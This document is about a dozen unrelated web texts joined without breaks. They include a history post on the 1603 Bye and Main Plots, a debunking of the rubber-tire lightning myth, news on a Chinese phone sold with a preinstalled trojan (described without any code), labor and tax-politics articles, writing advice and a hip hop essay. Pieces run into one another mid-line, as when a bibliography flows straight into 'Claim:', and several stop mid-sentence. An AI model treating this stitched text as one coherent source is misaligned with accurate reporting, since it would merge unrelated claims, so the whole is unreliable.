Actually there’s every reason why the plot might have been forgotten! There were at least four plots against James I during the early years of his reign. Yet it is Guy Fawkes, a York boy, who is remembered. This post is about two earlier plots and the wonderfully named Sir Griffin Markham.
Sir Griffin, the eldest son and heir of Thomas Markham, of Ollerton in Nottinghamshire, served as a soldier under the Earl of Essex in an expedition sent by Queen Elizabeth to the assistance of Henry IV of France. He was knighted during the siege of Rouen in 1591. He afterwards served in Ireland but there was a problem for this soldier that got worse with the passage of time. Sir Griffin was a Catholic at a time when being Catholic was a cause for suspicion and an impediment to power.
In the Parish Register of Mansfield it is stated that Griffin Markham was at the Market Cross in Mansfield and other gentlemen of the region for the proclamation of the accession of James I (pictured at the start of this post). Catholics had every reason to hope that persecution, which they faced during Elizabeth’s reign, might ease – after all, James’ mother and wife were Catholic. Yet, it appears that within a very short time of James’ accession Sir Griffin wasn’t a happy man. Four months later he was arrested on a treason charge – he’d become involved in a plot that history knows as the Bye Plot or the Treason of the Priests. (Ironically, Jesuits who were concerned that the Bye Plot was a harebrained scheme that would result in major difficulties for English Catholics revealed the conspiracy to Cecil.)
During the course of investigations into the Bye Plot a second plot, which became known as the Main Plot, was uncovered. The two were separate but involved many of the same people!
Sir Griffin Markham, Lord Grey (a radical puritan), Lord Cobham and George Brooke found themselves incarcerated in the Tower along with a couple of catholic priests- William Watson and William Clarke. They were charged with a plot to kidnap James and his Privy Council and then force them to make concessions to the Catholics including the repeal of anti-Catholic legeslation…like that was going to happen and with only three hundred men – not that there is any evidence of Sir Griffin being able to round up a posse that size. This was the Bye Plot.
At the same time Sir Walter Raleigh found himself under arrest on account of a slightly different plot called the ‘Main Plot’ to depose James (‘the kyngge and his cubbes’) and replace him with Arbella (Arabella) Stuart, the grand-daughter of Bess of Hardwick through her daughter Elizabeth Cavendish and Charles Stuart Earl of Lennox – who was the son of Margaret Douglas who in turn was the daughter of Margaret Tudor, eldest daughter of King Henry VII of England.
It is probable that Raleigh was caught in the net of the Main Plot because of his friendship with Lord Cobham who’d been travelling around Europe have shady chats with Spanish types looking at bankrolling the venture. The problem for Raleigh was that Cobham travelled home via Jersey where Raleigh was governor and clearly stopped off for a chat with his old friend. Cecil put two together, or so it would appear, and found an opportunity to rid himself of a political adversary. There’s another theory that says that Raleigh played his old friend along playing the role of agent provocateur and then managed to get caught in Cecil’s net – whichever way you look at the Main Plot it seems hard to believe that Raleigh would plot with the Spanish. There’s a third view that Raleigh himself spoke of at his trial which was that he thought that he was being offered a pension – not treasonable and something that Cecil was in receipt of himself!
The common denominators between the Main Plot and the Bye Plot were George Brooke and Lord Cobham who were, incidentally, brothers.
The Bye Plot conspirators including Lord Cobham were tried in Winchester and found guilty. A scaffold was built especially for the occasion in Winchester Castle. The warrant was signed on the 7th December and Sir Griffin went to his fate on the 9th complaining bitterly that his confession had been given on the promise of leniency. It was only as he was just about to lay his head on the block that a member of the King’s household arrived with another warrant from James I giving him an extra two hours of life. The same grisly process awaited Lord Grey who prayed for half an hour before the sheriff issued the stay of execution and then Lord Cobham. All three mounted the scaffold, thought their last moments had come only to be given a short reprieve at the last moment – sounding suspiciously like someone somewhere had a very nasty sense of humour or someone in authority wanted to entrap Raleigh through a pre-execution confession from his fellow conspirators.
Each of the three men also believed that the other two men had been executed until they were all bought back to the scaffold for a piece of Jacobean theatre contrived by the king for the news that they were to be spared death but banished from the kingdom. Brooke was the only one to be executed in Winchester, even though he might have reasonably expected leniency being married to Lord Cecil’s sister (talk about a family embarrassment).
Raleigh spent the next thirteen years in The Tower and Parliament passed an act called the ‘Statute Against Catholics’ banishing Catholic priests from England was passed into law as a result of the Bye Plot. Sir Griffin ended his life in continental poverty. According to some stories it is said that he often donned disguise and returned home, and that he assisted in the attempted escape of Arabella Stuart.
Fraser, Lady Antonia. (2003). The Gunpowder Plot: Terror and Faith in 1605. London: (Phoenix) Orion Books
Orange, James. (1840) History and Antiquities of Nottingham Vol II. London: Hamilton, Adams and Co. pp733-745Claim: Rubber tires protect a car’s inhabitants during lightning strikes.
FALSE
Example: [Collected via e-mail, May 2002]
Many people think that a car is the safest place to be during a thunderstorm because of the rubber tires, but according to my physics teacher, the tires have nothing to do with it. He said that the lightning travels on the outside of the car because of the metal surrounding it. Is this true?
Origins: Underrated but deadly, lightning is a devastating force of nature that kills an average of 58 people a year. While indoor sites are much safer from lightning than outdoor areas, bolts from the sky have taken the lives of folks who were indoors talking on landline telephones. While outdoors, one must be wary of certain technologies in addition to the lightning itself when a storm is imminent, because the presence of devices such as iPods or cell phones on one’s person during a lightning strike can work to make resulting injuries even more severe.
Technology cuts both ways, though; it also sometimes serves to protect people from the worst of lightning strikes, such as the interiors of closed vehicles shielding those who’ve taken shelter there. However, while the protection is real, the reason for it is generally misunderstood.
Although folks have long believed otherwise, the relative safety afforded by automobiles during electrical storms has nothing to do with the rubber tires on these
vehicles. Rather, it’s the closed metallic composition of the car itself that does the trick, serving as a conductor which channels the killing amperage away from those it would otherwise fry and diverts it into the ground. The car acts as an ad hoc Faraday cage, picking up the lightning’s discharge of energy and conducting it around the vehicle’s occupants and down to the ground.
The National Weather Service says of the notion that rubber tires or shoe soles will protect you from lightning strikes:
Rubber-soled shoes and rubber tires provide NO protection from lightning. However, the steel frame of a hard-topped vehicle provides increased protection if you are not touching metal. Although you may be injured if lightning strikes your car, you are much safer inside a vehicle than outside.
Belief that the rubber in a vehicle’s tires would afford protection from a lightning strike dates well into the past, as this excerpt from an 1896 news story shows:
The claim has been made that the rubber tires on a bicycle are a protection to the rider against lightning. The wheel ridden by Walter Scott Thursday evening had rubber tires. He was killed and the tires were not damaged in the least.
In answer to the question “Can I be struck by lightning if I wear rubber soled shoes?” the National Weather Service says:
Absolutely! While rubber is an electric insulator, it’s only effective to a certain point. The average lightning bolt carries about 30,000 amps of charge, has 100 million volts of electric potential, and is about 50,000°F. These amounts are several orders of magnitude HIGHER than what humans use on a daily basis and can burn through ANY insulator (even the ceramic insulators on power lines!) Besides, the lightning bolt may just have traveled many miles through the atmosphere, which is a good insulator. Your ½” (or less) of rubber will make no difference.
The best defense to the ravages of lightning is not being there when it strikes. As to how to avoid being hit by lightning:
Do not let the seeming distance between you and an electrical storm talk you into remaining outside. When you hear thunder, no matter how far off the approaching storm seems, seek shelter indoors or in an enclosed vehicle. (Convertibles aren’t very safe, even if the top is up.)
Inside a building, avoid using landline phones, and steer clear of appliances, doors, windows, and water.
If you take refuge in a car, make sure you aren’t parked near a tree or power lines that could come down on the vehicle. Avoid touching anything metal and keep the windows fully closed.
If you can’t make it to shelter indoors, avoid water, high ground, and wide open spaces where you are the high ground. Canopies and picnic shelters are also generally unsafe, and huddling under a tree is a bad idea.
Don’t stand near metal objects such as electrical wires, fences, and machinery.
If you are outdoors, crouch down with your feet close together. Cover your ears to minimize hearing damage. Do not wear headphones attached to a cellphone, iPod, or other electronic device.
Barbara “when it comes to lightning, go for spares, not strikes” Mikkelson
Last updated: 17 September 2010
Sources:PANAMA CITY | Sandra Wilson graduated from law school in May at age 70. Now she’s studying for the bar exam and preparing to look for a job.
PANAMA CITY | Sandra Wilson graduated from law school in May at age 70. Now she’s studying for the bar exam and preparing to look for a job.
Wilson raised three children before she went back to Florida State University, where she graduated in 2009. The next year, she made the bold decision to move to Montgomery, Ala., to attend Faulkner University.
“I lived there for three years,” Wilson told the News Herald of Panama City (http://bit.ly/17EzFNH ). “I never lived by myself. I left my parents’ home when I married my husband (Steve).”
Her husband was fully on board with the decision to go to law school.
“We had been married for 47 years and she put up with me,” he said. “If she was going to go, I was going to support her to the very end.” On June 1, the couple celebrated 50 years of marriage.
She said it was an adventure to live away from her family. “It was amazing doing things that were foreign to me,” she said.
An example, she said, was learning new technology. When she left for law school she got an iPhone. Then her husband got on board. “Not only did I have an iPhone, but he got an iPhone,” she said.
Once she passes the bar exam, Sandra Wilson wants to do something to help others, perhaps specializing in children’s law.
“I really want to do something in the public interest. I really want my degree to be used as a ministry,” she said.
She said she started leaning toward law school as she finished her undergraduate degree.
“I found that every time I was writing a paper I was writing about the law I would always gravitate toward the law,” Wilson said. “Then when a couple of classmates of mine decided to go to law school, I thought, ‘I wish I could do that.’“A single mom from Washington State who was cited by President Obama as an Affordable Care Act success story now says she’ll go uninsured and calls the program a “treadmill of bureaucracy.”
Washington State Wire reports that Jessica Sanford, 48, discovered that she is no longer eligible for a large subsidy that would have lowered her monthly premium to $169 per month. Instead, Sanford would now be forced to pay nearly four times as much, $621, for coverage.
Sanford told the paper she believes the government should shut down the entire healthcare.gov site until the site’s issues are resolved. “In my opinion they ought to shut it down and just get all of it straightened out.”
That's a complete 180 from what Sanford thought she was signing up for last month when Obama touted her as an Affordable Care Act success story.
During a White House Rose Garden ceremony on Oct. 21, Obama read an email from Sanford in which she thanks the president for offering her help in obtaining a low-cost, high-quality coverage plan.
"I recently received a letter from a woman named Jessica Sanford in Washington state,” Obama said. “And here's what she wrote: 'I am a single mom, no child support, self-employed. And I haven't had insurance for 15 years because it's too expensive. I was crying the other day when I signed up, so much stress lifted.' "
Sanford works as a court reporter and says she makes just under $50,000 a year. Her 14-year-old son requires a monthly prescription that is expensive because it must come from a compounded pharmacy. She said she thought the originally promised $452 monthly premium subsidy would help her close the financial gap.
“To think I would finally be covered if anything happened – I was so relieved,” she told the Washington Wire.
However, CNN reports that in the days following Obama's Rose Garden ceremony Sanford received a letter telling her that her tax credit had been taken away, meaning she won’t be able to afford coverage. Officials reportedly told her that they made a mistake in calculating her benefits. Sanford is reportedly one of 8,000 people in Washington State who have received letters informing them that their promised subsidies have been reduced or removed.
“This is it. I'm not getting insurance," Sanford told CNN. "That's where it stands right now unless they fix it."
A representative from Washington State’s HealthPlanFinder said they are looking into Sanford’s case and will try to help her find a more affordable plan.Something is profoundly wrong with the way we live today. For thirty years we have made a virtue out of the pursuit of material self-interest: indeed, this very pursuit now constitutes whatever remains of our sense of collective purpose. We know what things cost but have no idea what they are worth. We no longer ask of a judicial ruling or a legislative act: Is it good? Is it fair? Is it just? Is it right? Will it help bring about a better society or a better world? Those used to be the political questions, even if they invited no easy answers. We must learn once again to pose them.
The materialistic and selfish quality of contemporary life is not inherent in the human condition. Much of what appears “natural” today dates from the 1980s: the obsession with wealth creation, the cult of privatization and the private sector, the growing disparities of rich and poor. And above all, the rhetoric that accompanies these: uncritical admiration for unfettered markets, disdain for the public sector, the delusion of endless growth.
We cannot go on living like this. The little crash of 2008 was a reminder that unregulated capitalism is its own worst enemy: sooner or later it must fall prey to its own excesses and turn again to the state for rescue. But if we do no more than pick up the pieces and carry on as before, we can look forward to greater upheavals in years to come.
And yet we seem unable to conceive of alternatives. This too is something new. Until quite recently, public life in liberal societies was conducted in the shadow of a debate between defenders of “capitalism” and its critics: usually identified with one or another form of “socialism.” By the 1970s this debate had lost much of its meaning for both sides; all the same, the “left–right” distinction served a useful purpose. It provided a peg on which to hang critical commentary about contemporary affairs.
On the left, Marxism was attractive to generations of young people if only because it offered a way to take one’s distance from the status quo. Much the same was true of classical conservatism: a well-grounded distaste for over-hasty change gave a home to those reluctant to abandon long-established routines. Today, neither left nor right can find their footing.
For thirty years students have been complaining to me that “it was easy for you”: your generation had ideals and ideas, you believed in something, you were able to change things. “We” (the children of the Eighties, the Nineties, the “Aughts”) have nothing. In many respects my students are right. It was easy for…If US has banned its several major government departments, including NASA, Justice and Commerce Departments, from purchasing Chinese products and computer technology due to suspected backdoors, then they are not wrong at all.
A popular Chinese Android Smartphone comes pre-installed with a Trojan that could allow manufacturer to spy onto their users’ comprising their personal data and conversations without any restrictions and users knowledge.
GOOGLE PLAY STORE OR A SPYING APP?
According to the researchers at the German security firm G Data, the Star N9500 smartphone, a popular and cheap handset device in China, comes pre-installed with Uupay.D Trojan horse, disguising as a version of the Google Play Store.
The trojan camouflage as the Google Play Store, so it enables Chinese Company to secretly install malicious apps, which creates the whole spectrum of abuse.
STEALING WITHOUT RESTRICTIONS
The nasty Spyware runs in the background and has capability to steal personal information, copy users’ data, record calls automatically with unlimited time and send costly SMS to premium services, thereby sending all the stolen information to an anonymous server based in China.
The malware is also capable to activate the microphone on users’ smartphone at any time in order to turn users’ smartphone into a bugging device that allows hackers to hear anything you are saying near by the phone.
“The spy function is invisible to the user and cannot be deactivated,” reads the blog post published yesterday. “This means that online criminals have full access to the smartphone and all personal data. Logs that could make an access visible to the users are deleted directly.”
REMOVAL OF THE TROJAN NOT POSSIBLE
In addition, the malicious software allow preventing security updates from being downloaded and one can not disable the program. “The program also blocks the installation of security updates,” claimed G Data.
Moreover, it is not possible to uninstall the trojan because it is embedded in the firmware of the Star-phone device.
"Unfortunately, removing the Trojan is not possible as it is part of the device's firmware and apps that fall into this category cannot be deleted,” said Christian Geschkat, Product Manager at G Data. “This includes the fake Google Play Store app of the N9500."
CHEAP PRICE ATTRACTS USERS
The Star N9500 is an affordable copy of the Samsung Galaxy S4, which can be easily found at various online retailers such as eBay and Amazon for 130 to 165 euros and is also equipped with a variety of accessories, such as a second battery, car charger adapter and a second cover.
But considering the high technological standard of device, the low price comes as a surprise and the security researchers at G DATA believe that it is the cheap price of the mobile device that has made possible by the subsequent selling of data records stolen from the smartphone owner.
HOW TO CHECK IF YOU’RE AFFECTED
We recommend you to download an up-to-date Mobile Anti-virus software and scan your device for the trojan and if found return the device back from where you purchased.Get ready, "X-Men" fans, because your universe is about to gain a few new favorite characters.
At Toronto International Film Festival in support of "The Martian," which he produced, Simon Kinberg told MTV News that the upcoming "Gambit" and "Deadpool" would have continuity with the post-"Days Of Future Past" X-Men universe, and that he's planning to "cross-pollinate" characters from the various movies.
"The idea is that we’ve sort of reset the timeline after 'Days of Future Past' in some ways, and if not erased, certainly allowed for change from 'X1,' '2,' '3,' everything from 'Days of Future Past' forward, 1973, everything we set now becomes canon," he said. "So the 'Gambit' movie, the 'Deadpool' movie, will exist in a world that acknowledges whatever happened in 'Days of Future Past' and moving forward. Doesn’t mean they’ll always interact with those characters, obviously, it’s not like every movie has all the characters, but they all have to exist within the same rules."
"There will be interplay between different characters in different movies."
Pretty cool, but how does he keep it all straight? As it turns out, dude has an actual chart to keep track of where -- and when -- everyone is.
"I don’t have it up on a wall, but I have it on my computer, and I have it sort of tattooed on my brain now too," Kinberg said. "Nothing external, so that if I get knocked over the head, no one can read it. It’s literally behind my eyelids. But yeah, we have a clear sense of the directions we want to take them in and in my my mind at least, how we could start to cross-pollinate sort of with those characters that have their standalone movies."
And speaking of those iconic characters, Kinberg offered up an explanation about the villainous Apocalypse's rather outlandish costume. The "X-Men" movies have long scoffed at goofy superhero costumes, and Oscar Isaac's Apocalypse marks a sharp turn away from |
new writers who are working in a genre like fantasy. Long time readers will be able to name classic stereotypes like the wise wizard, corrupt advisor, or orphan child and spot them a mile away. The author really needs to be familiar with the development of the genre, so they know what to avoid.
But what about some of the lesser known ones that we can fall into, where is the line between archetype and stereotype? And how do you avoid turning your characters into carbon copies of a bland template? One of the most important steps is to try and really see your character as a person, think about their story and motivations, rather than merely their place in your grand plot. Don’t brush them off as if they were a bit actor; try to spend some time making them original and unique. It can be as simple as giving a character an unusual trait or personality quirk that sets them apart.
Take a lesser known stereotype like the mad scientist/inventor character – give them an obsession for knowledge and experimentation, an absent mind, topped off with crazy hair and you have a stereotype. But don’t stop there. What’s the history of this character? Maybe he really wanted to be a musician and plays a piano cobbled together from random lab equipment? Or perhaps he fancies himself a swordsman, and is always trying to join the hero on his quest instead of merely handing over an invention? It could be a simple quirk, like a tendency to talk about himself in the third person, anything that can differentiate the character. It can be difficult to put that much work into every character in the story, especially if they’re only in a few scenes. But it’s definitely worth the effort and will make your writing stand out.
You don’t have to know the back-story of every faceless solider and kitchen scullion in your book in order to make them interesting. There are a number of quick tricks a writer can use to avoid the pitfall of a stereotype. The easiest one is to subvert the expectations of the reader and make the character the opposite of their role. Your wise old wizard is now a drunk who’s in way over his head, the hideous orc wants to save the world, and the gruff dwarf actually has a penchant for knitting and embroidery.
You could try to put your own twist on the role by changing the character’s place in the novel. Maybe the orphan farm boy is actually the heir to the dark lord, and the forces of light must band together and make the terrible choice to murder the child for the greater good? It would definitely put a fresh spin on the idea when he is forced on the run from everything he has known and has to seek aid from those he has been taught to fear.
Another method is to give the character a serious flaw. Imagine what the classic elf archer would be like if he lost a hand – maybe he no longer strives to be the gallant warrior but just reminisces over his glory days. What about a dark lord who’s incapable of physically hurting anyone, and so must work through his minions. Think of the challenges for a master thief who’s been cursed with clumsiness by a vengeful witch. You can see how little touches can affect standard stereotype and open up a whole new host of ideas and possibilities. It’s even fine to have a character that’s very archetypal, as long as the writer works to make them different.
Always try to experiment with your characters and see what you can do to keep them fresh, you might come up with something special that breaks the mould. One of the best examples I’ve seen of an original character breaking the stereotype is Abercrombie’s Bayaz, First of the Magi. He’s taken the idea of the mentor wizard and twisted it into something darker and more fitting to his work, creating something unique that profoundly alters the story.
The characters in a book are one of the greatest expressions of a writer’s style. Try some of these methods in your own writing, see if you can turn those pasty reproductions into vibrant individuals that drive the story and engage the reader. Experiment with different ways of altering archetypes and work in your own ideas of how you want a character to look. It can be tough to churn out something innovative and original on command, so start small. Work on crafting a character that captures your interest, and push for that spark that makes them great.
Title image by Stefana-Tserk.Truckers trying to change things. (Justice for LA/LB Port Drivers Facebook page)
Along with auto technicians, fast food workers, and baggage handlers, another profession has been hit by the separation of labor from employer: Port truckers, who haul containers from cargo ships on short trips around the terminal. Years of deregulation have led to more of them being classified as "independent contractors," with lower pay and fewer rights, rather than unionized employees.
Yesterday, however, they took a step in the other direction, with a National Labor Relations Board determination that could start to reverse the trend.
To understand the implications here, consider just how different the trucking industry looks today from how it did 40 years ago. Back then, these short-haul drivers almost all belonged to the Teamsters, and were typically considered employees of the trucking (or "drayage") companies that paid their salaries, whose prices were in turn set by government rules. Then came the deregulation of the trucking business in the 1980s early 1990s, which allowed for the rise of lower-cost, non-union companies that shifted the responsibility of expenses like fuel, insurance, maintenance, and parking to individual guys who owned their own rigs. Now, shipping is cheaper and there are more truckers, but those jobs aren't quite as comfortable.
"The net result is a very low cost to the owner of that cargo, reasonable profit for the owner of the drayage company, and next to nothing for the driver," says Barb Maynard, a consultant on the Teamsters' ports campaign. That can mean a difference of thirty or forty percent in their take-home pay, according to a new analysis by the National Employment Law Project, which calculated that 49,000 out of the nation's 75,000 port truck drivers had been misclassified as contractors -- a model they've called "sharecropping on wheels" -- rather than the employees they basically are.
Attempts to fix the problem have so far failed. In 2009, the Port of Los Angeles mandated that drayage companies hire all truckers as employees as part of its Clean Trucks program. The American Trucking Association sued, and the 9th Circuit Court of Appeals struck down that provision in 2011 (the Supreme Court would dismantle other pieces of it later).
But last week, the Teamsters had a breakthrough of sorts. Employees at PAC 9 Transportation in Los Angeles had been filing complaints with the Department of Labor alleging wage and hour violations, and last November went on strike. They ultimately returned to work, but some were allegedly told that if the employees voted to join a union, the company would shut down.
That's a big no-no in labor law. So the NLRB's regional office did an investigation, and came to a deal with PAC 9 requiring it to post a notice saying the truckers have the right to unionize -- which it wouldn't do if they were just contractors.
"Region 21 has no power to extract this settlement unless these guys are employees," explains Mike Manley, an attorney for the Teamsters. "It is subtle, but within the industry, it's a big deal because it's public recognition that this model is not what they say it is."
It's not as if the independent contractors lack representation altogether. The Owner-Operator Independent Drivers Association boasts 150,000 members, both long-haul and short-haul port truckers. It's difficult for them to organize as a union, however, because of antitrust rules. If the Pac 9 employees vote to join the Teamsters, they can bargain for better wages and benefits -- which will likely involve getting paid by the hour, rather than by the haul.
David Bensman, a professor at Rutgers University's School of Management and Labor Relations, thinks that has an upside for the rest of us, too: American ports are typically far less productive than those in Asia. The differential has lots of reasons behind it, but incentivizing shipping companies to keep trucks busier -- rather than idling in the port waiting for jobs -- might help narrow the gap.
"When it's more expensive for the companies to have employees rather than drivers, they'll do a lot to utilize the labor more efficiently, and that'll lead the port to function more efficiently," Bensman says.
The American Trucking Association disputes that assertion (and most every other one that the Teamsters and labor-minded non-profits have made). "Paying by the load incentivizes the driver to get in and out of the port with their assigned load, so they can transport more loads within their regulated amount of driving time," ATA General Counsel Prasad Sharma wrote in an email.
Primarily, though, the industry argues that the independent contractor model is a valuable one, citing a University of Arkansas study that found that many truckers enjoy the sense of independence they get from being free agents. Sure, the research was funded by the Truckload Carriers Association, which is committed to maintaining the status quo -- but the sentiment does exist.
"When everything's going right, you love what you're doing," says Jimmy Stewart, a Savannah, Ga.-based trucker who used to serve as the Teamsters' ports organizer. He says he left the Teamsters when they decided to focus on making independent contractors into employees. "There are thousands who are perfectly happy to be in business for themselves."
The bigger question, though, is whether one victory at a company with 130 employees will create meaningful momentum towards unionization in an industry that's so fractured. These kinds of NLRB determinations are very fact-specific, and don't tend to build on precedent. Stewart tried organizing individual companies for years, with little progress, and isn't optimistic for the Teamsters' prospects going forward.
"You'd be there the rest of your life, and you wouldn't have a couple percent," Stewart says. "It's like emptying the ocean with a 5 gallon bucket."
The one thing that might actually make a difference is federal legislation, like a bill Sen. Bob Casey (D-Penn.) has proposed that would require employers to classify their employees accurately, and protect employees who raise grievances. But technically, that's already the law -- the problem has been enforcing it.Joe Donnelly.
The Republican Party may need Democratic help to overcome their legislative impotence, and realize their top legislative priority — and Democrats just might give it to them.
Last week, the GOP leadership unveiled the party’s much-belated framework for tax “reform.” Like every other tax bill drafted by Republicans in recent months (or years, or decades), President Trump’s official plan is a blueprint for radically increasing the deficit and exacerbating economic inequality. In 2018, the Trump tax cuts would deliver 53 percent of their benefits to the top one percent of earners; by 2027, the one percent’s share of Uncle Sam’s lost revenue would climb to 80 percent, according to the nonpartisan Tax Policy Center.
Enthusiasm for regressive fiscal policy is, of course, the tie that binds congressional Republicans. But unlike the party’s previous tax plans, Trump’s final framework includes enough details to widen internal divisions: To partially offset the cost of delivering mammoth returns to the GOP’s top investors, Trump’s plan would eliminate the state and local tax deduction (SALT) — a loophole much beloved by upper-middle-class households in states with high income-tax rates (which, not coincidentally, are predominately blue ones). That measure — combined with the plan’s abolition of the personal and dependent exemptions — would leave many number of suburban families paying a higher tax bill, even as plutocrats pocket a break of over $700,000 next year, alone.
This has, predictably, provoked a sharp backlash among blue-state Republicans in the House. The response has been so fierce, the administration is already signaling openness to leaving SALT in place. But without SALT’s abolition, Trump’s plan would add $3.6 trillion to the deficit over the next decade, instead of $2.4 trillion — and the party’s few sincere deficit hawks have already mandated that the plan increase the debt by no more than $1.5 trillion. Meanwhile, the Freedom Caucus is suggesting that it won’t accept tax cuts any smaller than the ones currently on the table.
All of which is to say: It is going to be hard for Mitch McConnell to hammer out a final tax bill on which libertarian die-hards like Rand Paul, politically invulnerable deficit scolds like Bob Corker, and purple state moderates like Susan Collins can all agree. And after a trio of Republican defections killed the party’s every attempt to repeal Obamacare, the White House is eager to increase McConnell’s margin for error.
Thus, in recent weeks, Trump has sought to pressure red-state Democrats to get behind his “middle class tax cut.” The president has given especially keen attention to winning over Joe Donnelly of Indiana, Heidi Heitkamp of North Dakota, and Joe Manchin of West Virginia, and has held rallies for his agenda in each of those states.
Trump is focused on this trio for the same reason that liberal activists are: Donnelly, Manchin, and Heitkamp are the only Senate Democrats who refused to sign a pledge to oppose any tax plan that includes “cuts for the top one percent” back in August. All three are also up for reelection next year, in states Trump won by landslide margins in 2016.
One might assume then, that the choice before these senators is, ultimately: Should I put my own political self-interest above my partisan loyalty (and, perhaps, policy judgment)? Certainly, a lot of the coverage of the White House’s outreach to red-state Democrats has proceeded from that assumption.
And yet, it’s far from clear that Manchin, Donnelly, and Heitkamp would actually improve their reelection prospects by defecting from their party’s line.
To be sure, Donald Trump remains a popular figure in West Virginia, North Dakota, and, to a slightly lesser extent, Indiana. And eccentric Trumpist megadonors — along with corporate America’s various political arms — are certain to plow obscene sums of money into realizing Trump’s proposed bonanza. Further, while the actual substantive content of the president’s proposal is deeply unpopular, the idea of an economy-expanding, “middle tax cut” — designed by business genius Donald Trump — has real appeal in red America.
So, Manchin & Co. have some incentive to court Trump’s praise — and corporate donors’ cash —by reaching across the aisle on taxes. And, thus far, all three have declined to sharply criticize the Republican plan.
But these senators would do well to carefully weigh the potential, electoral benefits of cutting a deal with Trump against the accompanying costs.
Republican strategists fear nothing so much as their base’s apathy. In interview after interview, “GOP insiders” have stressed that congressional Republicans are better off passing bad, unpopular legislation than disappointing the conservative base by passing no major agenda items, at all. During the final Obamacare repeal push, multiple GOP senators all but admitted that this crass political calculation was their sole rationale for supporting a hastily written bill that they did not understand.
Midterms are decided in no small part by enthusiasm gaps. If red-state Democrats save the Republican Party from total legislative humiliation, they will be narrowing an enthusiasm chasm that all GOP challengers, including theirs, would otherwise struggle to cross.
And a failed tax-reform bill could also gift at least some vulnerable red-state Democrats with politically weak, ideologically extreme Republican rivals: The worse the GOP leadership performs, the more likely Steve Bannon–backed wing nuts are to win GOP primaries. In 2012, Joe Donnelly snuck into the Senate by defeating a tea party Republican who had knocked off longtime incumbent Richard Lugar. A similar development may help keep in the upper chamber next year. As Morning Consult reported in August:
[A]ttacks on Donnelly raise a familiar danger for Republicans, who want to avoid a repeat of 2012, when [Republican Senate nominee] Mourdock pushed the party far to the right before crippling his own candidacy during the general election with comments on abortion.
The rhetoric between two leading GOP candidates, Reps. Luke Messer and Todd Rokita, has already grown toxic, with each trying to paint the other as a Washington insider; some Republicans fear an ideological purity test between contenders could lead to a backlash beyond the May 18 primary next year.
“There’s this lane for a more pragmatic conservative or a moderate to fill,” said the former GOP operative. “If [Messer and Rokita] are going far to the right and beating each other up, that’s definitely what Donnelly wants.”
Keeping the Democratic faith would also, of course, endear Manchin, Heitkamp, and Donnelly to Team Blue’s base — while betraying the party on supply-side tax cuts would subject them to the dismay of the Democratic leadership, and the ire of progressive pressure groups like Indivisible and MoveOn.
And it really shouldn’t be all that difficult for red-state Democrats to sell the progressive position on tax cuts for the rich, given that it is also the consensus position among conservative Republicans on that subject. Earlier this year, Trump tried to bully Manchin into voting for a bill that was popular with his constituents in the abstract (West Virginians don’t like Obamacare), but deeply unpopular with them in reality (West Virginians don’t want to lose the affordable health insurance that they secured through Obamacare). Manchin opposed it. And, by the end of August, one poll found that the Democratic senator was more popular in West Virginia than Trump himself. Donnelly and Heitkamp similarly saw no discernible backlash to torpedoing the president’s first legislative priority.
If Republicans have the votes to pass their bill, it might be in a red-state Democrat’s narrow political interest to jump on the bandwagon. (Although, even then, if tax “reform” still includes provisions that hurt upper-middle-class homeowners when it comes up for a vote, it’s may be unwise for Democrats to claim ownership of it).
But if the choice is between letting tax reform join Obamacare repeal in purgatory — and getting to Susan Collins’s right for the sake of bailing out Trump’s presidency — there is no good political reason for a Democratic senator to do the latter. If Manchin, Heitkamp, or Donnelly vote for the Trump tax cuts in such a circumstance, they won’t be doing it for political expediency — but for the love of upward redistribution itself.Now, back to work, again!!
Hope you like it guys!! ^^
Kim out. Peace.
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Or more like good morning, if you consider I've been goin' to sleep too late these past daysHey there you guys!!!Yeah, another Twi and Dash sharing bed... I start to think it all these bed-themed pictures have to do with my oh so regular lack of sleep since three months ago, and this is just the way of my inner self to tell me that I miss my beautiful bed TTvTTAnyhoo, I promise pretty soon I will kill all these blank days I had, and I promise, here comes something way better than this little pic*This one here was supposed to be posted like three days ago, but, hehe, forgive my internet signal peopleJust so you know, this pic appeared on my Patreon few days ago, there I post some MLP stuff, no watermark, and I will post the more spicy MLP stuff there tooCan We Live – And Be Modern?: Decolonization, Indigenous Modernity, and Hip Hop
by Kyle T. Mays
Quite frankly, living as an Indigenous person in the United States of Amerikkka is difficult. For me, adding my blackness to the mix makes it even more challenging. But this essay is not about the difficulty of living in a settler colonial society, where we live in a constant state of occupation/colonialism/racism and other forms of violence; that is a fact of life for all of us (to varying degrees): Indigenous, Black, white–everyone. Instead, this essay is specifically about how we–Indigenous people–relate to one another, and how we understand ourselves living in contemporary society, as modern subjects.
Our cultures are an important part of decolonizing ourselves in a settler colonial society. By highlighting culture, I am not excluding the material reality of the everyday needs of Indigenous communities, including land, water, food, education, housing, etc. Decolonization is a process whereby we work to cleanse ourselves of the ubiquitous nature of colonialism and that cleansing must happen daily, and takes many forms. This means that our decolonizing efforts engage with modernity.
The idea of modernity is a complicated one, though I mean it in its simplest form: how whites have used ideas and representations of Indigenous people to construct their selves (Deloria, 1998; O’Brien, 2010). In this sense, then, being modern is associated with being white and literally living in modern times; and, being Indigenous means being non-white, in this case, Indigenous, and lacking the ability to live in a world that has passed them by – at least that is how the narrative goes. Modernity is negatively used and mobilized not only by whites but also Indigenous people, through the rhetoric of ‘tradition’. In contrast, I look to reclaim and regenerate the concept of Indigenous modernity to explain, in part, how Hip Hop helps move us towards a decolonized future, one which challenges assumptions about Indigenous people being incapable of living in the present, as modern subjects. I describe this process below.
We should embrace what Anishinaabe scholar Scott Richard Lyons calls “indigenous modernity.” Lyons writes, “to embrace [indigenous] modernity is to usher in other modern concepts (not all of them necessarily, but some of them, and I’d say the ones we want), including the concept of decolonization” (p. 305). Indigenous people have embraced Hip Hop as a modern culture/concept, too.
Indigenous Hip Hop contradicts the modern/traditional construct in two ways. One, Hip Hop is something that is not easily contained. Hip Hop, as an art form, emerged out of the poverty-stricken Black and Brown communities of New York City; it has now reached the four corners of the world, creating an anthem for the oppressed around the globe, and causing Hip Hop historian Jeff Chang (2007) to say that it’s a hip hop world. Hip Hop has also reached Indigenous communities as well. Second, Hip Hop is an expression of community and self. As Indigenous people participate in and produce Hip Hop, as a modern cultural art form, they contradict the idea that Indigenous people are relics of the past, incapable of engaging with and producing modernity. Indigenous Hip Hop artists and producers, by taking up Hip Hop, a cultural artifact that emerged out of urban spaces, also challenge mainstream conceptions of the incompatibility of Indigenous people and urban spaces.
